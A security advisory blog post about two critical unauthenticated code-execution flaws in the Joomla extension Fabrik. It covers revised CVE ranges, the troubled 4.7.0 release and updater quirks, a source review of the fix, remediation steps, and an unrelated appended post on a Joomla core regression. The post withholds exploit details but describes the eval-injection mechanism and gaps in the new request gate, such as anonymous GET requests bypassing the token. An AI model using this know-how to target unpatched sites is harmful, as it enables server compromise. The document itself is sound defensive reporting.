The revised CVE-2026-66915 record lists 1.0.0 to 4.6.8 as affected, so the calc element flaw survived the 4.6.7 fix. Its stated fixed version, 4.6.9, has no public release. Fabrik 4.7.0 (13 August 2026) is the only publicly downloadable version above both CVE ceilings, and it is a real upgrade rather than a point release: it breaks existing userAjax calls and needs the FullCalendar and Paypal plugins updated alongside it, so test on a sandbox first. Joomla's updater will not show it at default settings, so this one is a manual download and install, and it needs a valid Fabrik subscription. Be clear about what you are installing: Fabrik announced 4.7.0 on 13 August as Stable while the package was still restricted, and on 16 August relabelled it Release Candidate on the same build and the same release date. The release process has been a shambles, but we have read the code and the security fix itself is sound, so install it. Fabrik 4 installs on Joomla 4.2 and above and Joomla 5.1 and above only, so Joomla 3 and Joomla 6 sites still need a different plan, though Joomla 3 sites now have a manual patch for the calc flaw.

TL;DR

TL;DR: Fabrik's calc element computes a field value by evaluating a PHP expression that the site builder writes. When the element's AJAX option is on, that recalculation happens live through a front-end endpoint in com_fabrik, and that endpoint could be reached by an anonymous visitor with no login and no user interaction. Because evaluating PHP is the element's intended job, reaching it without authorisation means running code on the server. That is CVE-2026-66915, CWE-94, CVSS 4.0 10.0 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H), reported by Moe Khalilov of LeetProtect Research. It was published on 10 August 2026 saying versions 1.0.0 to 4.6.6 were affected and 4.6.7 fixed it, then revised on 12 August to 1.0.0 to 4.6.8, fixed in 4.6.9. The first fix did not hold. A second flaw, in the front end list filter model, is CVE-2026-67282, also CWE-94 and also CVSS 4.0 10.0 Critical, reported by Murad Gasimov, affecting 1.0.0 to 4.6.7 and fixed in 4.6.8. There is no public Fabrik 4.6.9, so 4.7.0 (13 August 2026, "a major hardening release against PHP eval attack vectors") is the release to be on. It breaks userAjax and needs FullCalendar and Paypal updated with it, and Joomla's updater will not show it at default settings, so you install it by hand. Fabrik announced it on 13 August as Stable while the package was restricted to a small test group, added it to the update feed on 16 August tagged as a release candidate that Joomla hides at default settings, and relabelled the release itself Release Candidate the same day, on the same build and the same release date. It installs on Joomla 4.2 to 5.x only and needs a valid Fabrik subscription. Joomla 3 sites still have no patched release but now have a manual one-line source patch from the vendor for the calc flaw. We obtained the 4.7.0 package and read the source, which nobody outside the vendor's test group has been able to do, and both flaws are genuinely fixed: eval() is down to two files in 869, and visitor data is now bound as PHP variables instead of spliced into the code. mySites.guru lists every connected Joomla site running Fabrik with both the Fabrik and Joomla version, so you can sort them into the ones that update and the ones that do not.

What Is Wrong in Fabrik's Calc Element?

The calc element is a Fabrik field whose value is worked out rather than typed. A site builder writes a small PHP expression into the element's settings, for example to total two other fields or apply a tax rate, and Fabrik evaluates that expression to produce the value. Evaluating site-builder PHP is the documented, intended behaviour of the element, and it is why Fabrik can do the things people use it for.

The element has an option to recalculate over AJAX, so the value updates live as a visitor fills in a form instead of only when the page reloads. That option adds a second route to the same evaluation: a front-end endpoint in the com_fabrik component that takes the current form data, substitutes it into the stored expression, and evaluates the result. In the Fabrik source that is public, which is the older Joomla 3 line, the calculation reaches a plain PHP eval() at the end of both routes. Fabrik 4.x is distributed only to subscribers and its source is not published anywhere we could find, so the description here is drawn from the public Joomla 3 code plus the CVE record's own classification of CWE-94, rather than from reading the patched release.

The flaw is that the AJAX route was reachable by anyone. No login, no privileges, no user interaction, which is exactly what the CVSS vector records with PR:N and UI:N. Joomla's standard input filtering runs on the submitted data, but that filter exists to strip HTML and script tags for cross-site scripting purposes and does not neutralise PHP syntax. Because the substitution happens before the evaluation, submitted data that steps outside its expected position changes what actually gets executed.

This is the same shape of problem we wrote about in AJAX endpoints being a CMS security blind spot: a helper route added for front-end convenience, sitting beside a well-guarded main path, that never inherited the main path's checks.

Why we are not publishing an exploit

A fix exists and is available today in 4.7.0. We have described the shape of the flaw and named the component, because you need that to understand the risk and decide what to do. We are not publishing the endpoint parameters, the substitution syntax or any working proof of concept. Nothing here is a recipe.

Which Fabrik Versions Are Affected?

When the CVE first published it listed 1.0.0 through 4.6.6 as affected and 4.6.7 as fixed. On 12 August the Joomla CNA revised the record to 1.0.0 through 4.6.8, with the fixed version restated as 4.6.9. Either way it covers every Fabrik release ever made, across both the Fabrik 3.x line built for Joomla 3 and the Fabrik 4.x line built for Joomla 4 and 5. What changed is the other end: the fix that shipped on 9 August did not close it, and neither did the release that followed.

We were not the only ones working from the original range. The record's own reference list now includes this post, which is a useful reminder that a fixed version in a CVE is a claim with a date on it, and dates move.

Fabrik's own changelog is unambiguous about what 4.6.7 is:

Fabrik Base Version 4.6.7 (2026-08-09) Fix, 2026-08-09: Security fix for calc element Notes: This is a security release, please update immediately.

The announcement on the Fabrik forum, posted by a project administrator on the evening of 9 August 2026, says the same thing and adds the practical constraints:

Fabrik 4.6.7 is available. This is a security fix addressing the calc element. Please update immediatly. [...] You may download this update through the Joomla Updater or by direct download via My Download Files from the Fabrik site. Note: You will require a valid subscription in order to download or update. Fabrik 4 will not install on Joomla 6

Credit where it is due. This is a clearly labelled, clearly dated security release with an explicit instruction to update, published in two places on the day it shipped. We have covered plenty of vendors who buried a serious fix under "improved input validation" in a changelog, and Fabrik did not do that here.

Note on the missing 4.6.6

The CVE names 4.6.6 as the last affected version, but Fabrik's public changelog goes straight from 4.6.5 on 29 July 2026 to 4.6.7 on 9 August 2026, with no 4.6.6 entry. We have seen 4.6.6 reported by a real site, so the build exists. We could not find a public explanation of what happened to it, and Fabrik has retracted a bad build before, so treat 4.6.6 as affected and move on regardless.

Then Fabrik Released 4.6.8

On 10 August 2026, the day after 4.6.7 and the same day the CVE published, Fabrik released 4.6.8. Its changelog entry reads in full:

Fabrik Base Version 4.6.8 (2026-08-10) Fix, 2026-08-10: Security fix for list filters Notes: This is a security release, please update immediately.

That was the whole of it at the time. No CVE, no advisory, no severity, no indication of whether an attacker needed a login. The forum announcement, when it came, called it "a very small change specific to list prefilters using eval".

On 12 August 2026 it got a number, and the number is not small. CVE-2026-67282 is an unauthenticated remote code execution flaw in Fabrik's front end list filter model, scored CVSS 4.0 10.0 Critical on the same vector as the calc element flaw, classed as CWE-94 code injection, and reported by Murad Gasimov. It affects 1.0.0 through 4.6.7 and is fixed in 4.6.8.

Two unauthenticated remote code execution flaws, both scoring the maximum, in different parts of the same extension, disclosed two days apart. The 4.6.4 changelog from earlier this year carries the line "Some more code hardening. Add error messages in case of FILTERTEXT reset (in case eval was used legally)", so filters and eval were already an area the developers were tightening.

"A very small change" was a CVSS 10.0

The size of a diff and the severity of what it fixes are unrelated, and this is a clean example of the gap. A one-line change that closes an unauthenticated path to code execution is a one-line change that closes an unauthenticated path to code execution. If a vendor describes a security release as small, read that as a statement about the patch and not about your risk.

Then the Calc Element Fix Turned Out Not to Have Worked

On 12 August the Joomla CNA revised CVE-2026-66915. The affected range went from 1.0.0 to 4.6.6, up to 1.0.0 to 4.6.8. The fixed version went from 4.6.7 to 4.6.9.

Read plainly, that says the fix shipped on 9 August did not close the flaw, and the release that followed it did not either. Everyone who updated to 4.6.7, and everyone who then updated again to 4.6.8 because of the list filter issue, was still exposed to the calc element flaw the whole time.

Acting on that is harder than it sounds, because there is no public Fabrik 4.6.9. It has no entry in the changelog history. It is not on the vendor's download listing, which showed 4.6.3, 4.6.7, 4.6.8 and 4.7.0 on 13 August and shows 4.6.3, 4.6.8 and 4.7.0 today, 4.6.7 having been withdrawn. Its release information page returns a 404. The version named as the fix in the CVE record is not a version anybody can install.

What Fabrik shipped instead, on 13 August 2026, is 4.7.0:

Fabrik Base Version 4.7.0 (2026-08-13) Fix, 2026-08-10: This is a major hardening release against PHP eval attack vectors. Notes: This is a major security release. This release will break any userAjax you are using. Also, if you are using FullCalendar or Paypal you will need to update to the latest versions.

That reads like a response to the whole class of problem, not to one more report. Both published flaws are CWE-94 code injection reached through eval, and the vendor's own words on the Fabrik 3 thread confirm the intent: "A major security hardening effort is currently underway for F4 and F5."

Fabrik 4.7.0 is the version to be on. It is the only publicly downloadable release that sits above both CVE ceilings, and it is the release the vendor points at.

Treat 4.7.0 as a real upgrade

The vendor states that 4.7.0 breaks any userAjax calls you are using, and that FullCalendar and Paypal need updating to their current versions alongside it. Hardening the paths that reach eval is exactly the kind of change that breaks code depending on those paths, which is presumably why the minor version moved. Install and test on a sandbox before a live site. That is Fabrik's own advice and it is the right call here, because this is the one update in the sequence that can break a working application.

The alert worked, and the destination was wrong anyway

We emailed every affected account on 10 August telling them to go to 4.6.8. Of the Fabrik sites we can see that now run a build from that week, around six in seven are on 4.6.8 rather than 4.6.7, so the correction reached people and they acted on it. Every one of those sites is still short of the fix, through no fault of the people who updated them. That is the cost of a revised CVE record, and it is why "we already did that one" is not a safe answer three days later.

Joomla's Updater Still Will Not Offer You 4.7.0

Fabrik 4.7.0 exists and the vendor has announced it. Getting it onto a site is a separate problem, and that problem has changed shape once already.

When we first wrote this up on 13 August, 4.7.0 was simply absent from the update feed Joomla reads for the Fabrik Base package. That feed carried 4.6.7, 4.6.8 and 4.6.3 and nothing above them, so a site running an update check was told 4.6.8 was the newest release available and then reported itself current.

On 16 August the feed changed. 4.7.0 is in it now, and 4.6.7 has been taken out. A site checking for updates today still will not be offered 4.7.0, for two independent reasons, and only one of them has a documented fix.

The first is the stability tag. Fabrik's feed entry for 4.7.0 carries <tag>rc</tag>. Joomla's installer has a setting called Minimum Extension Stability, its default value is Stable, and ExtensionAdapter discards any advertised update sitting below that setting. A release candidate is one rung below stable, so at default settings Joomla reads the update out of the feed and then throws it away without telling anyone. The vendor's instruction is to go to System, then Update, then Extensions, click Options, and set Minimum Extension Stability to Release Candidate. That works. Note that it is a site-wide setting rather than a per-extension one, so every other extension on that site will start offering you its pre-release builds too, and it stays that way until somebody puts it back.

The second reason is not documented anywhere, and no setting fixes it. The feed entries for 4.7.0 and for 4.6.8 beside it both declare which Joomla versions they are for like this:

<targetplatform name="joomla" version="5.[4]"/>

Joomla takes that version attribute as a regular expression, anchors it, and tests it against the running Joomla version:

preg_match('/^' . $this->currentUpdate->targetplatform['VERSION'] . '/', JVERSION)

That line is in libraries/src/Updater/Adapter/ExtensionAdapter.php, and it is identical in Joomla 5.1, 5.3 and 6.1. The pattern 5.[4] reads as a 5, then any single character, then a 4. It matches Joomla 5.4.x. It matches nothing else:

preg_match('/^5.[4]/', '5.4.2');   // 1
preg_match('/^5.[4]/', '5.3.1');   // 0
preg_match('/^5.[4]/', '5.1.4');   // 0
preg_match('/^5.[4]/', '4.4.13');  // 0

So on any Joomla site below 5.4, the 4.7.0 entry is discarded before the stability setting is even consulted, and the 4.6.8 entry goes with it. The only entry left that those sites can see is 4.6.3, whose target platform is an empty string and therefore matches everything. Because 4.6.3 is older than whatever they already have installed, Joomla compares the two, finds nothing newer, and reports the site as up to date.

We described this feed on 13 August as stopping at 4.6.8. That was right about the feed's contents and wrong about the consequence: for every Joomla version except 5.4, the feed effectively stops at 4.6.3. The same pattern sits on the 4.6.8 entry, so this is not something 4.7.0 introduced, and lowering your stability setting will not fix it.

Either way the reliable route is a manual install. Log in to fabrikar.com with a current subscription, take the 4.7.0 package from My Download Files, and install it on each site through Extensions, Install. Then check the version the site actually ended up on, because a package that installs without complaint is not the same as a package that installed.

The changelog history page has moved backwards too: the 4.7.0 entry is gone, and the newest release the page lists is 4.6.8 from 10 August, a version both CVE records say is vulnerable.

If a colleague checked earlier in the week and reported back that 4.7.0 did not exist, they were reading the site correctly at the time. On 11 August a subscriber posted that the download button was greyed out, and a Fabrik administrator replied that "V4.7.0 is not ready, it is being tested by a few people to make sure it is good. Announcement will be displayed shortly." The announcement arrived two days later. Someone else has since reported on the release notes thread that listing 4.7.0 with restricted access breaks the updater's route to 4.6.7 as well, so a site offering you no Fabrik update at all is not telling you it is up to date.

The Timeline: Announced, Restricted, Relabelled

Eight days, three security releases, two CVEs scored 10.0, one CVE revision, one version number that does not exist, and six days between the fix being written and the people running the software being able to install it. If you are trying to work out why the answer to "what should this site be running" keeps moving, the sequence explains it.

When	What happened
9 Aug	Fabrik releases 4.6.7. Changelog: "Security fix for calc element", under "This is a security release, please update immediately". A forum announcement follows that evening.
10 Aug, 09:53 UTC	The Joomla CNA publishes CVE-2026-66915, CVSS 4.0 10.0 Critical. Affected 1.0.0 to 4.6.6, fixed in 4.6.7.
10 Aug	Fabrik releases 4.6.8, "Security fix for list filters", under the same update-immediately note. The forum calls it "a very small change specific to list prefilters using eval".
10 Aug	The change that becomes 4.7.0 is dated. Its changelog entry, published later on the release page, reads "2026-08-10: This is a major hardening release against PHP eval attack vectors."
11 Aug	A subscriber reports the 4.7.0 download button is greyed out. An administrator replies: "V4.7.0 is not ready, it is being tested by a few people to make sure it is good."
11 Aug	Fabrik publishes a manual one-line patch for the Fabrik 3 line and confirms no Fabrik 3 release will ever ship.
12 Aug, 09:04 UTC	The CNA revises CVE-2026-66915. Affected widens to 1.0.0 to 4.6.8. Fixed version restated as 4.6.9, which has never existed.
12 Aug, 09:05 UTC	The CNA publishes CVE-2026-67282 for the list filter flaw. Affected 1.0.0 to 4.6.7, fixed in 4.6.8, also 10.0 Critical.
13 Aug, 13:30 UTC	4.7.0 appears on Fabrik's changelog history page, dated 2026-08-13, carrying the hardening note. Our release monitoring records it.
13 Aug, 14:45 UTC	Fabrik posts 4.7.0 release notes to the forum. The release page gives its maturity as Stable. It is not in the Joomla update feed, and the package is not generally downloadable.
13 Aug, 16:39 UTC	A subscriber posts that "adding and restricting access to v4.7 breaks updating from Joomla updater", and that it has also blocked the route to 4.6.7.
16 Aug	4.7.0 appears in the update feed tagged as a release candidate, which Joomla hides at default settings. 4.6.7 is removed from the feed and from the download listing. The release page now reads Release Candidate, against the same build and the same release date. 4.7.0 is gone from the changelog history page, which now tops out at 4.6.8.
16 Aug, 16:41 UTC	An administrator posts that 4.7.0 "has been thoroughly tested by a small group of users" and that "in a 1st step we are making it available as a Release Candidate", with instructions to lower the site's minimum extension stability.

Two threads run through that table.

Announced Is Not the Same as Released

Fabrik announced 4.7.0 on 13 August, with release notes, a release date and a maturity of Stable, and told people it was a major security release. For the next three days most subscribers could not get it. That is not our inference: on 11 August a subscriber reported the download button greyed out and an administrator answered "V4.7.0 is not ready, it is being tested by a few people to make sure it is good"; on the evening of 13 August, hours after the announcement, another subscriber posted that "adding and restricting access to v4.7 breaks updating from Joomla updater"; and the 16 August post opens by saying it "has been thoroughly tested by a small group of users" before announcing that "in a 1st step we are making it available as a Release Candidate".

Put those together and the announcement of 13 August described a build in the hands of a test group as a stable release, on the vendor's own account of who had it. Anyone reading fabrikar.com that weekend, holding two CVSS 10.0 unauthenticated code execution flaws with no other remedy, was looking at a fix they were told existed and could not obtain.

What became available on 16 August is a release candidate that Joomla will not show you until you lower your site's minimum extension stability. So the fix has gone from announced but withheld, to obtainable but formally pre-release.

There is one more wrinkle, inside the package. Every file in the 4.7.0 download is timestamped 15 August 2026, 06:29, two days after the release date its own page gives. Whatever the small test group had on 13 August, the build you can download now was assembled on the 15th.

The Announcement Told Attackers Where to Look

The release information page went up on 13 August carrying two pieces of text. The changelog entry, dated 2026-08-10, says the release is "a major hardening release against PHP eval attack vectors". The notes say:

This is a major security release. This release will break any userAjax you are using. Also, if you are using FullCalendar or Paypal you will need to update to the latest versions.

Read that as an attacker. The CVEs had already told you there was an unauthenticated path to code execution in Fabrik, and the revised record had already told you 4.6.8 did not close it. What this page added was two things the CVEs did not say: that the problem is a class of eval attack vectors rather than the two specific ones with numbers attached, and that the thing being changed is userAjax, which names the surface to go and look at.

That page was public on 13 August. The release it describes did not become generally available until 16 August. For three days it described where the remaining problem was, in a product whose source is closed, to an audience that included everyone except the people who needed to fix their sites.

Counting from the date on the fix itself, it is worse. The change is dated 10 August. It reached the people running the software on 16 August. That is six days in which the work was done, the nature of it was published, and the sites carrying two flaws scored 10.0 could do nothing about it. Fabrik's own instruction throughout was to update immediately.

There is a second supply problem underneath all of this. A thread running since 8 July has multiple subscribers reporting "Could not open update site" for Fabrik Base on every one of their sites, with valid subscriptions and correct download keys. It is still unresolved. The vendor's answer on 16 August was "Workaround: download from your My download files on fabrikar.com and install. No idea what is going on on your sites." Those users have had no working updater route to any Fabrik security release for over a month.

And Three Published Pages Were Altered Afterwards

Everything Fabrik put out about 4.7.0 on 13 August has since been changed, and the three changes are the clearest evidence of what happened.

The changelog history entry has been withdrawn. Fabrik listed Fabrik Base Version 4.7.0 on that page on 13 August, dated 2026-08-13, with the "major hardening release against PHP eval attack vectors" note attached, and our release monitoring recorded it at 13:30 UTC. It is not there today, and the newest entry is 4.6.8. The likeliest explanation for the row vanishing is mechanical rather than deliberate, because that page appears to list stable releases, so demoting 4.7.0 to Release Candidate would drop it off by itself. That makes the missing row independent confirmation of the downgrade rather than a separate act of tidying up. It also leaves the vendor's own release page telling anyone who checks that the latest Fabrik release is 4.6.8, which both CVE records cover.

The maturity was changed. Fabrik 4.7.0 went from Stable to Release Candidate with no change to the build, no change to the 13 August release date, and nothing on the page recording that it moved. We read that page on 13 August, published that it said Stable, and emailed it to every account with an affected site. The same URL says something different three days later.

The release notes thread was retitled, from "Fabrik V4.7.0 Release Notes" to "Fabrik V4.7.0 Release Notes, Release Candidate is now available". That one is checkable from outside: the URL we linked on 13 August now 301s to the new one. And the 16 August post presents the release candidate as the plan all along, in a thread whose first post three days earlier had called 4.7.0 a major release with no such qualifier.

None of this would matter much if there were something else to install. There is not. 4.7.0 is the only publicly downloadable release above both CVE ceilings. It is the only thing anyone can actually do about two unauthenticated code execution flaws, both scored 10.0, in an extension whose vulnerable code is on every version ever shipped. Anyone who did manage to get the package between 13 and 16 August installed it on production sites believing it was a stable release, because the alternative was staying on a version the CVE record says is exploitable without a login. The build has not changed. What changed is what the vendor is willing to call it, and the new answer arrives with an instruction to lower your site's minimum extension stability so Joomla will accept pre-release software.

Our advice has not changed either, because there is nothing else to point at. Get to 4.7.0. Test it on a sandbox first, which was already the vendor's advice and carries more weight now than it did at release.

We Read the Fabrik 4.7.0 Code, and the Fix Is Real

Fabrik 4.x has never had public source. The GitHub repository stops at 3.10 from 2021, the vendor's own "GitHub" footer link points at a Bitbucket repository that 404s, and 4.x ships only to subscribers. So nobody outside the vendor's test group has been able to check whether any of the three security releases did what they claimed.

We obtained the 4.7.0 package and read it. Its SHA-256 is b1d79d144a23142704f6524947ffd6f8d705bf38f85cb65ba9c9b7472d8e8316, which matches the sha256 Fabrik publishes in its own Joomla update feed, so this is the release itself and not something reconstructed.

After two fixes that did not hold, this one does. It addresses the class of bug rather than the instance.

What actually changed

eval() now appears in two files out of 869, and everything routes through one helper, Fabrik\Helpers\Php::Eval(), reached from 61 places.

The old design took the site builder's PHP expression, substituted the visitor's submitted data into it as text, then evaluated the result. That is what turned data into code, and it is why an anonymous request could run PHP on the server.

4.7.0 inverts it. The helper compiles the site builder's code once into a cached class, then passes the visitor's data in as bound PHP variables instead of splicing it into the source. Data that is never concatenated into code cannot become code, whatever it contains. All 61 call sites use that route.

Where placeholders do still expand into code, the substituted value is written out with var_export(), so a submitted value arrives as a quoted PHP literal rather than as syntax.

They also caught the trap that a naive version of that fix leaves behind. If the site builder's own expression already has the placeholder inside a quoted string, wrapping it in fresh quotes either produces broken code or escapes for the wrong quote character. The new code runs PHP's own tokenizer over the expression to establish the quote context at that exact byte offset, then escapes for the quotes that are already there. A comment in the file records that an earlier attempt missed precisely this case.

The most telling line is the vendor's own note on why the earlier fixes failed:

textual splicing of request/row data into eval'd code is unsafe, htmlspecialchars alone does not stop it

That is the 4.6.7 and 4.6.8 story in a sentence. Escaping for HTML does nothing to a payload that never needed a quote character in the first place.

The list filter path, the second CVE, is closed the same way, and its guard is switched on by exactly the condition that decides whether the evaluation happens at all. That pairing is the detail these fixes usually get wrong.

What we did not find

No remaining route from an unauthenticated request to code execution. No system, exec, create_function or unserialize reached by request data anywhere in the package. The one place that could build a require_once out of a string is fed by an administrator-only setting, filtered to alphanumerics and confined to a fixed directory.

Three things weaker than the release notes suggest

The release notes say every AJAX call must now carry a session token and a proper Content-Type. There is a real gate, and it runs as the first statement of every front-end controller entry point, which is the right place for it. Three details matter:

The token is enforced only on requests that are not GET.
The Content-Type check applies only to POST.
The Referer check is skipped entirely when the browser sends no Referer header.

So an anonymous GET still reaches the calc endpoint. That is no longer a way in, because what it used to lead to is closed, but the token is not the barrier the release notes imply and it should not be the thing you rely on.

The caveat on all of this

This is a source review, not a live exploitation test. We read the code and traced every path from request input to every remaining evaluation. We did not stand up a site and fire the old payloads at it. A negative result from reading is weaker than a negative result from trying. What we can say is that the mechanism behind both CVEs has been removed rather than patched around, and that a future call site cannot reintroduce it by forgetting to escape, because escaping is no longer how it works.

How Serious Is This Really?

The Joomla CNA scored it 10.0 Critical on CVSS 4.0, the maximum. The vector says the attack comes over the network, needs no privileges, needs no user interaction, and produces high confidentiality, integrity and availability impact both on the vulnerable component and on the wider system. That is the score to work from.

The nuance is about reach rather than severity. Reaching the flaw needs the site to publish a Fabrik form or list that an anonymous visitor can load, and that form needs a calc element with the AJAX option enabled. A Fabrik install used only behind a login, or one with no calc elements, is a smaller target than the score alone implies.

That nuance is close to useless as an operational filter, for two reasons. Public forms are the ordinary use of Fabrik, not an edge case, and a site builder who wanted a login-only tool would usually reach for something simpler. And there is no practical way to audit "does any published form on this site contain an AJAX-enabled calc element" across more than a handful of sites without opening every form on every site by hand. Treat every install below 4.7.0 as affected, because you cannot cheaply prove otherwise, and because the list filter flaw is reached through a different surface again.

The second flaw removes even that much comfort. List filters are the controls that narrow a Fabrik list, so CVE-2026-67282 does not depend on calc elements or on the AJAX option at all. A site with no calc element anywhere, which was the smaller target under the first flaw, is squarely in scope for the second.

Nobody had reported exploitation in the wild when this post was last updated on 16 August 2026, and neither CVE has a CISA Known Exploited Vulnerabilities entry. Neither of those is reassuring on its own. An unauthenticated flaw that ends in code execution is the profile that attracts mass scanning quickly, and Joomla extension flaws of exactly this class have gone from disclosure to automated exploitation inside a week several times this year.

How to Fix Your Joomla Sites Running Fabrik

Find every site running Fabrik and check the version. Anything below 4.7.0 is affected, including the sites you updated to 4.6.7 or 4.6.8 last week. The component shows as com_fabrik in Joomla's extension manager.
Confirm the Fabrik subscription is current. Both update routes, Joomla's updater and direct download, check it. This is worth doing first, because discovering a lapsed subscription halfway through an update run across several sites wastes an afternoon.
Test 4.7.0 on a sandbox before you touch anything live. Fabrik states that 4.7.0 breaks any userAjax calls you use, and that FullCalendar and Paypal need updating to current versions alongside it. Find out which of your applications depend on those on a copy, not on the site your client is looking at.
Install Fabrik 4.7.0 by hand. Joomla's updater will not show it at default settings, and on any Joomla below 5.4 it will not show it at all. Download the package from My Download Files on fabrikar.com with a current subscription, then install it through Extensions, Install on each site and check the version you actually ended up on afterwards. If 4.7.0 is not there or the download is greyed out, that is the restricted access other subscribers have been reporting since 13 August rather than a problem with your account, and the forum announcement thread is where the vendor has been posting about it.
Deal with the sites that cannot take it. See the next section. Joomla 3 sites now have a manual patch for the calc element flaw. Unpublishing public Fabrik forms and lists reduces exposure while you decide, though it is a stopgap rather than a fix.
Check exposed sites for compromise. Updating stops the next attempt and tells you nothing about whether one already succeeded. An unauthenticated flaw leaves no failed logins and no audit trail. Look for administrator accounts you did not create, recently modified or unfamiliar PHP files, and scheduled tasks nobody added. Our post on finding rogue admin accounts across every Joomla site covers the account side, and reinfection through crontabs covers a persistence route people routinely miss.

Not Every Joomla Site Can Install the Fabrik Fix

This is the part that turns a straightforward update into a project. Fabrik's installation notes say 4.7.0 installs on Joomla 4.2 and above, and Joomla 5.1 and above, the same window as 4.6.7 and 4.6.8 before it. The forum announcement adds that Fabrik 4 will not install on Joomla 6. So the fixed releases have a compatibility window of Joomla 4.2 to Joomla 5.x, and sites at either end of that window are stuck.

Below the window sit the Joomla 3 sites. They run the Fabrik 3.x line, whose last release was 3.10 in August 2021. The calc element's AJAX evaluation path is present in that code, the joomla3 branch of the public repository has had no commits since 2016, and there is no patched version for those sites to move to. Fabrik has now confirmed there never will be, and explained why:

Because F4 and F5 are complete rewrites of F3, none of this work will be backported to the F3 codebase. Please also note that we do not own the F3 source repository and have no way to commit to it or publish new F3 releases, it was abandoned by its original developers many years ago.

Above the window sit the Joomla 6 sites, which the vendor's own announcement rules out in one line.

Across the Joomla sites we manage, this splits the affected population roughly two to one against being able to fix it by updating:

Joomla version	Share of the affected Fabrik sites we see	Can install 4.7.0?
Joomla 2.5	1%	No
Joomla 3	61%	No
Joomla 4	6%	Yes
Joomla 5	31%	Yes
Joomla 6	1%	No

Of the sites still short of 4.7.0, roughly two thirds are on a Joomla version the fix does not support. The single most common configuration we see is Fabrik 3.10 on Joomla 3.10, which is a site running the newest version each project ever shipped for that generation, and exposed anyway.

Fabrik 3 Now Has a Manual Patch

This changed on 11 August 2026, and it is the one piece of good news in the sequence. After a subscriber asked on the forum for something their Joomla 3 clients could use while migrations were in progress, a Fabrik administrator published a manual source patch for the Fabrik 3 code, covering the calc element flaw. It is a single line in plugin/fabrik_element/calc/calc.php, adding two arguments to the existing parseMessageForPlaceHolder call so that the placeholder replacement runs in its escaped mode.

Read the forum thread before you touch a file, and note the correction in the reply: the method name in the original post has a typo, and the working line uses parseMessageForPlaceHolder.

Three caveats, all of them the vendor's own:

It is offered as-is, with no warranty. Nobody is supporting this on your site.
It covers the calc element flaw only. Fabrik states that the second attack vector, the list filter one patched in 4.6.8, does not affect Fabrik 3.
Fabrik still strongly urges migration to Fabrik 4, and a hand-edited file is not a maintained release.

Take it as a stopgap that buys you time on the largest group of affected sites, which is roughly three in five of everything we can see. It is not a reason to stop planning the migration.

The Sites With No Path At All

If you have Joomla 6 sites running Fabrik, or Joomla 3 sites where hand-editing a plugin file is not something you are willing to carry, there are three honest options and no comfortable ones. Remove Fabrik, if the application it powers can be retired or rebuilt. Move the site onto Joomla 4.2 to 5.x, which is the work you were putting off anyway and now has a deadline attached. Or accept the risk knowingly, with public Fabrik forms and lists unpublished, which is a holding position rather than a solution. Joomla 3 has been end of life since August 2023, and this is the ordinary way that debt gets called in, through a third-party extension whose vendor has moved on to the next Joomla generation. We have written before about what is realistically available to sites still on Joomla 3.

Finding Every Fabrik Install Across Your Joomla Sites

Doing this by hand means logging in to each Joomla site, opening the extension manager, searching for Fabrik and writing the version down. For one site that is two minutes. For fifty it is an afternoon you will not get back, and you will still not be certain you checked them all.

mySites.guru keeps a live inventory of every extension, template and framework on every connected Joomla and WordPress site. Search the extension inventory for Fabrik once and you get back every site running it, the version each one is on, and whether an update is available, on one screen. Sites running a version flagged on our vulnerable extension list are marked automatically, so a site that drifts onto an affected version later gets flagged without anyone remembering to look.

For this particular flaw the inventory answers the second question too. Because it records the Joomla version alongside the extension version, you can separate the sites that just need an update from the sites that need a migration decision, which is the split that actually determines how much work you are looking at.

If a site turns out to have been compromised, fix.mysites.guru is a fixed fee of £120 per incident, usually same day. Sites are screened before we commit, so you are not charged if it cannot be fixed, and non-subscribers get a free month. There is more on recovery in our Joomla hacked guide.

Fabrik Has Been a Target Before

Fabrik has carried three earlier CVEs before this month's pair, and the pattern is worth knowing if you have run it for a long time:

CVE-2010-1981, a directory traversal in com_fabrik 2.0 allowing arbitrary file reads
CVE-2011-5004, an unrestricted file upload in the CSV import model, fixed before 2.1.1
CVE-2018-10727, a reflected cross-site scripting flaw through a hidden referrer field, affecting versions through 3.8.1

The Joomla Vulnerable Extensions List also carries a resolved entry for "fabrik 3.9, Various Issues", published in May 2020 and fixed in 3.9.1. Neither of this month's CVEs was on the VEL when we last checked it, on 13 August 2026.

There is also one recent release that never got a CVE at all. Fabrik 4.6.3, released on 25 February 2026, carries a changelog line reading simply "Security fix" with no further detail, under the same "This is a security release, please update immediately" note that 4.6.7 uses. Nothing has been published about what it closed. That is worth knowing if you are the sort of person who skips point releases on an extension that seems to be ticking over quietly, because four times this year a Fabrik release has been the security update, and the CVE numbers arrived days later or not at all.

The 2011 upload flaw is the one that left a mark. Several public auto-exploiter tools targeting com_fabrik are still sitting on GitHub, written years ago against that bug. They are irrelevant to this CVE, but they are a reminder that a Joomla extension with a long history and a shell-upload flaw in its past stays on scanners' lists long after the flaw is fixed.

Joomla 6.1.2 and 5.4.7 Silently Ignore Every Article Option

phil@mysites.guru (Phil Taylor) — Mon, 10 Aug 2026 00:00:00 GMT

You set an Alternative Layout on a Joomla article. The front end ignores it and renders the default. The custom fields that layout was supposed to show have apparently vanished. So you clear the Joomla cache, purge Cloudflare, rebuild the menus, reinstall the template, and check the article again. Nothing has changed.

The article is fine. Your template is fine. Joomla 5.4.7 and 6.1.2 both carry a core regression that throws away every Option you set on an individual article and renders the menu item or global value instead.

Both versions shipped on 7 July 2026, and both are still the newest stable release on their branch. The people who updated promptly are exactly the ones who got hit, and as of 10 August 2026 there is no released Joomla version you can update to that fixes it.

What Actually Breaks in Joomla 6.1.2 and 5.4.7

Every per-article Option is ignored on the front end. Not one feature, all of them. The Options tab on an article stops influencing the page entirely, and Joomla falls back to whatever the menu item or the com_content global configuration says.

That includes the Alternative Layout, author display, the info block, publish dates, hit counts, tags, and article navigation. Anything you can set per article and expect to win.

This is why the symptom looks different on every site. On one it is a missing byline. On another it is a page rendering with the wrong layout, which makes the custom fields assigned to that layout look like they have been deleted. The underlying fault is identical in both cases.

Note

This is a functional bug, not a security issue. It does not expose data or allow unauthorised access. It is tagged as a bug on the Joomla issue tracker, and it never went through Joomla's security channel.

Why Write About This When the Fix Already Exists?

Several people have asked exactly that in the comments, so to answer it directly: yes, we know. We have been tracking this since the day it was reported in July, which is why the check described further down reads the file on disk instead of trusting the version number, and why applying the official hotfix from mySites.guru is one click. None of that was built this weekend.

